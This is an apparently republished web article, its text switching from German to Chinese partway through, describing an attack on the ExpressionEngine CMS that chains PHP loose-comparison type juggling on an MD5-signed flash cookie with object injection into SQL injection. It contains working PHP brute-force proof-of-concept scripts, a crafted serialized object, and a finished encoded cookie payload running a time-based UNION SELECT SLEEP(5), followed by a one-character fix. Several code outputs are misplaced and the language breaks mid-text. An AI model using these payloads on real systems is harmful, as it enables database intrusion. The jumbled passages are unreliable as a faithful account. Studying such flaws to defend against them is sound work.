Heim > Artikel > Backend-Entwicklung > Ein Sicherheitseingriff mithilfe schwacher Typen und Objektinjektion wird geteilt
Sicherheit ist das wichtigste Thema beim Starten einer Website. Es gibt keine absolute Sicherheit, nur ständige Angriffs- und Verteidigungskonfrontation. Der erste Zweck besteht darin, den von Benutzern übermittelten Daten nicht zu vertrauen. In diesem Artikel wird ein Sicherheitseingriff mithilfe schwacher Typen und Objektinjektion beschrieben, in der Hoffnung, allen ein klareres Konzept der Website-Sicherheit zu vermitteln.
Vor Kurzem bin ich auf der Suche nach Schwachstellen in einem Ziel auf einen Host gestoßen, auf dem Expression Engine, eine CMS-Plattform, läuft. Diese spezielle Anwendung hat mich angesprochen, denn als ich versuchte, mich mit „admin“ als Benutzernamen bei der Anwendung anzumelden, antwortete der Server mit einem Cookie, das PHP-serialisierte Daten enthielt. Wie bereits erwähnt, kann die Deserialisierung von vom Benutzer bereitgestellten Daten in einigen Fällen zu unerwarteten Ergebnissen führen, sogar zur Codeausführung. Deshalb habe ich beschlossen, es sorgfältig zu prüfen, anstatt es blind zu testen. Zuerst schaue ich, ob ich den Quellcode dieses CMS herunterladen kann, nutze den Code, um herauszufinden, was bei der Serialisierung der Daten passiert ist, und starte dann einen lokalen Build Zum Testen kopieren.
Nachdem ich den Quellcode dieses CMS hatte, habe ich den Befehl grep verwendet, um den Speicherort zu ermitteln, an dem Cookies verwendet werden, und die Datei „./system/ee/legacy/libraries/Session.php“ gefunden festgestellt, dass Cookies für die Aufrechterhaltung der Benutzersitzung verwendet wurden, ist dieser Befund sehr aussagekräftig. Nachdem ich mir Session.php genauer angesehen habe, habe ich die folgende Methode gefunden, die für die Deserialisierung serialisierter Daten verantwortlich ist:
protected function _prep_flashdata() { if ($cookie = ee()->input->cookie('flash')) { if (strlen($cookie) > 32) { $signature = substr($cookie, -32); $payload = substr($cookie, 0, -32); if (md5($payload.$this->sess_crypt_key) == $signature) { $this->flashdata = unserialize(stripslashes($payload)); $this->_age_flashdata(); return; } } } $this->flashdata = array(); }
Durch den Code können wir das in unserem Cookie sehen wird durch eine Reihe von Prüfungen analysiert und dann in Zeile 1293 deserialisiert. Werfen wir also zunächst einen Blick auf unser Cookie und prüfen, ob wir „unserialize()“ aufrufen können:
a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4
Die entschlüsselte URL lautet wie folgt:
a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4
Wenn ein Flash-Cookie vorhanden ist, laden wir die Daten in die Variable „$cookie“ (Code in Zeile 1284) und fahren mit der Ausführung fort. Als nächstes prüfen wir, ob die Länge der Cookie-Daten größer als 32 ist (Code in Zeile 1286) und fahren mit der Ausführung fort. Jetzt verwenden wir „substr()“, um die letzten 32 Zeichen der Cookie-Daten abzurufen und sie in der Variablen „$signature“ zu speichern und dann den Rest der Cookie-Daten in „$payload“ zu speichern, wie unten gezeigt:
$ php -a Interactive mode enabled php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4'; php > $signature = substr($cookie, -32); php > $payload = substr($cookie, 0, -32); php > print "Signature: $signature\n"; Signature: 3f7d80e10a3d9c0a25c5f56199b067d4 php > print "Payload: $payload\n"; Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";} php >
Jetzt berechnen wir im Code in Zeile 1291 den MD5-Hash von „$payload.$this->sess_crypt_key“ und vergleichen ihn mit dem, was wir oben haben. Vergleichen Sie die „$signature“ wird am Ende des angezeigten Cookies bereitgestellt. Ein kurzer Blick auf den Code ergab, dass der Wert von „$this->sess_crypt_cookie“ aus der bei der Installation erstellten Datei „./system/user/config/config.php“ übergeben wird:
./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';
Also definieren wir diesen „$this->sess_crypt_key“ manuell als „$salt“ und schauen uns den MD5-Hash an:
php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79'; php > print md5($payload.$salt); 3f7d80e10a3d9c0a25c5f56199b067d4 php >
Stellen Sie sicher, dass der MD5-Hash gleich „$signature“ ist. Der Grund für diese Prüfung besteht darin, sicherzustellen, dass der Wert von „$payload“ (d. h. die serialisierten Daten) nicht manipuliert wurde. Daher reicht diese Prüfung tatsächlich aus, um solche Manipulationen zu verhindern. Da PHP jedoch eine schwach typisierte Sprache ist, gibt es bei der Durchführung von Vergleichen einige Fallstricke.
Lose Vergleiche führen zum „Kentern“
Schauen wir uns einige lose Vergleichsfälle an, um eine gute Möglichkeit zur Konstruktion der Nutzlast zu finden:
<?php $a = 1; $b = 1; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
Ausgabe:
$ php steps.php int(1) int(1) a and b are the same
<?php $a = 1; $b = 0; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
Ausgabe:
$ php steps.php int(1) int(0) a and b are NOT the same
<?php $a = "these are the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
$ php steps.php string(18) "these are the same" string(18) "these are the same" a and b are the same
<?php $a = "these are NOT the same"; $b = "these are the same"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>Es scheint, dass PHP bei Vergleichsoperationen die Zeichenfolge in eine Ganzzahl umwandelt. Schauen wir uns nun zum Schluss an, was passiert, wenn wir zwei Zeichenfolgen vergleichen, die wie in wissenschaftlicher Notation geschriebene ganze Zahlen aussehen:
$ php steps.php string(22) "these are NOT the same" string(18) "these are the same" a and b are NOT the sameAusgabe:
<?php $a = "0e111111111111111111111111111111"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>Wie Sie aus den obigen Ergebnissen ersehen können, verwenden Sie den entspannten Vergleichsoperator, um den Vergleich auszuwerten, auch wenn die Variable „$a“ und die Variable „$b“ beide Zeichenfolgentypen sind und offensichtlich unterschiedliche Werte haben auf true, da „0ex“ bei der Konvertierung in eine Ganzzahl in PHP immer Null ist. Dies nennt man Typ-Jonglage. Vergleich schwacher Typen – Typ-Jonglage
$ php steps.php string(32) "0e111111111111111111111111111111" string(32) "0e222222222222222222222222222222" a and b are the same
Mit diesem neuen Wissen untersuchen wir noch einmal die Prüfungen, die uns vor Manipulationen an serialisierten Daten schützen sollen:
if (md5($payload.$this->sess_crypt_key) == $signature)
序列化数组的第一个元素“[:new:username] => admin”似乎是一个可以创建一个随机值的好地方,所以这就是我们的爆破点。
注意:这个PoC是在我本地离线工作,因为我有权访问我自己的实例“$ this-> sess_crypt_key”,如果我们不知道这个值,那么我们就只能在线进行爆破了。
<?php set_time_limit(0); define('HASH_ALGO', 'md5'); define('PASSWORD_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage); $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:2:{s:13:":new:username";s:'.$length.':"'.$garbage.'";s:12:":new:message";s:7:"taquito";}'; #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) { echo "Checking passwords with length: $i\n"; recurse($i, 0, ''); } ?>
当运行上面的代码后,我们得到了一个修改过的“$ payload”的 md5哈希值并且我们的 “$ this-> sess_crypt_key”的实例是以0e开头,并以数字结尾:
$ php poc1.php Checking passwords with length: 1 Checking passwords with length: 2 Checking passwords with length: 3 Checking passwords with length: 4 Checking passwords with length: 5 a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758
让我们将这个散列值与任何“$ signature”的值(我们所能够提供的)进行比较,该值也以0e开头并以所有数字结尾:
<?php $a = "0e553592359278167729317779925758"; $b = "0e222222222222222222222222222222"; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?>
Output:
$ php steps.php string(32) "0e553592359278167729317779925758" string(32) "0e222222222222222222222222222222" a and b are the same
正如你所看到的,我们已经通过(滥用)Type Juggling成功地修改了原始的“$ payload”以包含我们的新消息“taquito”。
当PHP对象注入与弱类型相遇会得到什么呢?SQLi么?
虽然能够在浏览器中修改显示的消息非常有趣,不过让我们来看看当我们把我们自己的任意数据传递到“unserialize()”后还可以做点什么。 为了节省自己的一些时间,让我们修改一下代码:
if(md5($ payload。$ this-> sess_crypt_key)== $ signature)
修改为:if (1)
上述代码在“./system/ee/legacy/libraries/Session.php”文件中,修改之后,可以在执行“unserialize()”时,我们不必提供有效的签名。
现在,已知的是我们可以控制序列化数组里面“[:new:username] => admin”的值,我们继续看看“./system/ee/legacy/libraries/Session.php”的代码,并注意以下方法:
function check_password_lockout($username = '') { if (ee()->config->item('password_lockout') == 'n' OR ee()->config->item('password_lockout_interval') == '') { return FALSE; } $interval = ee()->config->item('password_lockout_interval') * 60; $lockout = ee()->db->select("COUNT(*) as count") ->where('login_date > ', time() - $interval) ->where('ip_address', ee()->input->ip_address()) ->where('username', $username) ->get('password_lockout'); return ($lockout->row('count') >= 4) ? TRUE : FALSE; }
这个方法没毛病,因为它在数据库中检查了提供的“$ username”是否被锁定为预认证。 因为我们可以控制“$ username”的值,所以我们应该能够在这里注入我们自己的SQL查询语句,从而导致一种SQL注入的形式。这个CMS使用了数据库驱动程序类来与数据库进行交互,但原始的查询语句看起来像这样(我们可以猜的相当接近):
SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > '$interval' AND `ip_address` = '$ip_address' AND `username` = '$username';
修改“$payload”为:
a:2:{s:13:":new:username";s:1:"'";s:12:":new:message";s:7:"taquito";}
并将其发送到页面出现了如下错误信息,但由于某些原因,我们什么也没有得到……
“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”
不是我想要的类型…
经过一番搜索后,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下代码:
function escape($str) { if (is_string($str)) { $str = "'".$this->escape_str($str)."'"; } elseif (is_bool($str)) { $str = ($str === FALSE) ? 0 : 1; } elseif (is_null($str)) { $str = 'NULL'; } return $str; }
在第527行,我们看到程序对我们提供的值执行了“is_string()”检查,如果它返回了true,我们的值就会被转义。 我们可以通过在函数的开头和结尾放置“var_dump”并检查输出来确认这里到底发生了什么:
前:
string(1) "y" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486399967) string(11) "192.168.1.5" string(1) "'" int(1)
后:
string(3) "'y'" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486400275) string(13) "'192.168.1.5'" string(4) "'\''" int(1)
果然,我们可以看到我们的“'”的值已经被转义,现在是“\'”。 幸运的是,对我们来说,我们还有办法。
转义检查只是检查看看“$ str”是一个字符串还是一个布尔值或是null; 如果它匹配不了任何这几个类型,“$ str”将返回非转义的值。 这意味着如果我们提供一个“对象”,那么我们应该能够绕过这个检查。 但是,这也意味着接下来我们需要搜索一个我们可以使用的对象。
自动加载给了我希望!
通常,当我们寻找可以利用unserialize的类时,我们通常使用魔术方法(如“__wakeup”或“__destruct”)来寻找类,但是有时候应用程序实际上会使用自动加载器。 自动加载背后的一般想法是,当一个对象被创建后,PHP就会检查它是否知道该类的任何东西,如果不是,它就会自动加载这个对象。 对我们来说,这意味着我们不必依赖包含“__wakeup”或“__destruct”方法的类。 我们只需要找到一个调用我们控制的“__toString”的类,因为应用程序会尝试将 “$ username”变量作为字符串使用。
寻找如这个文件中所包含的类:
“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:
<?php namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token; class Variable extends Token { protected $has_value = FALSE; public function __construct($lexeme) { parent::__construct('VARIABLE', $lexeme); } public function canEvaluate() { return $this->has_value; } public function setValue($value) { if (is_string($value)) { $value = str_replace( array('{', '}'), array('{', '}'), $value ); } $this->value = $value; $this->has_value = TRUE; } public function value() { // in this case the parent assumption is wrong // our value is definitely *not* the template string if ( ! $this->has_value) { return NULL; } return $this->value; } public function __toString() { if ($this->has_value) { return var_export($this->value, TRUE); } return $this->lexeme; } } // EOF
这个类看起来非常完美! 我们可以看到对象使用参数“$lexeme”调用了方法“__construct”,然后调用“__toString”,将参数“$ lexeme”作为字符串返回。 这正是我们正在寻找的类。 让我们组合起来快速为我们创建序列化对象对应的POC:
<?php namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token; class Variable { public $lexeme = FALSE; } $x = new Variable(); $x->lexeme = "'"; echo serialize($x)."\n"; ?> Output: $ php poc.php O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"'";}
经过几个小时的试验和错误尝试,最终得出一个结论:转义在搞鬼。 当我们将我们的对象添加到我们的数组中后,我们需要修改上面的对象(注意额外的斜线):
a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"'";}}
我们在代码之前插入用于调试的“var_dump”,然后发送上面的payload,显示的信息如下:
string(3) "'y'" int(1) int(1) int(1) int(0) int(1) int(3) int(0) int(1) int(1486407246) string(13) "'192.168.1.5'" object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) { ["has_value":protected]=> bool(false) ["type"]=> NULL ["lexeme"]=> string(1) "'" ["context"]=> NULL ["lineno"]=> NULL ["value":protected]=> NULL }
注意,现在我们有了一个“对象”而不是一个“字符串”,“lexeme”的值是我们的非转义“'”的值!可以在页面中更进一步来确认:
<h1>Exception Caught</h1> <h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 5: SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > 1486407246 AND `ip_address` = '192.168.1.5' AND `username` = '</h2> mysqli_connection.php:122
Awww! 我们已经成功地通过PHP对象注入实现了SQL注入,从而将我们自己的数据注入到了SQL查询语句中!
PoC!
最后,我创建了一个PoC来将Sleep(5)注入到数据库。 最让我头疼的就是应用程序中计算“md5()”时的反斜杠的数量与成功执行“unserialize()”需要的斜杠数量, 不过,一旦发现解决办法,就可以导致以下结果:
<?php set_time_limit(0); define('HASH_ALGO', 'md5'); define('garbage_MAX_LENGTH', 8); $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $str_length = strlen($charset); function check($garbage) { $length = strlen($garbage) + 26; $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79"; $payload = 'a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+'.$length.':"1 UNION SELECT SLEEP(5) # '.$garbage.'";}}'; #echo "Testing: " . $payload . "\n"; $hash = md5($payload.$salt); $pre = "0e"; if (substr($hash, 0, 2) === $pre) { if (is_numeric($hash)) { echo "$payload - $hash\n"; } } } function recurse($width, $position, $base_string) { global $charset, $str_length; for ($i = 0; $i < $str_length; ++$i) { if ($position < $width - 1) { recurse($width, $position + 1, $base_string . $charset[$i]); } check($base_string . $charset[$i]); } } for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) { echo "Checking garbages with length: $i\n"; recurse($i, 0, ''); } ?>
Output:
$ php poc2.php a:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821
以及我们发送到服务器的payload(再次注意那些额外的斜杠):
Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821
五秒后我们就得到了服务器的响应。
修复方案!
这种类型的漏洞修复真的可以归结为一个“=”,将:if (md5($payload.$this->sess_crypt_key) == $signature)替换为:if (md5($payload.$this->sess_crypt_key) === $signature)
除此之外,不要“unserialize()”用户提供的数据!
相关推荐:
Das obige ist der detaillierte Inhalt vonEin Sicherheitseingriff mithilfe schwacher Typen und Objektinjektion wird geteilt. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!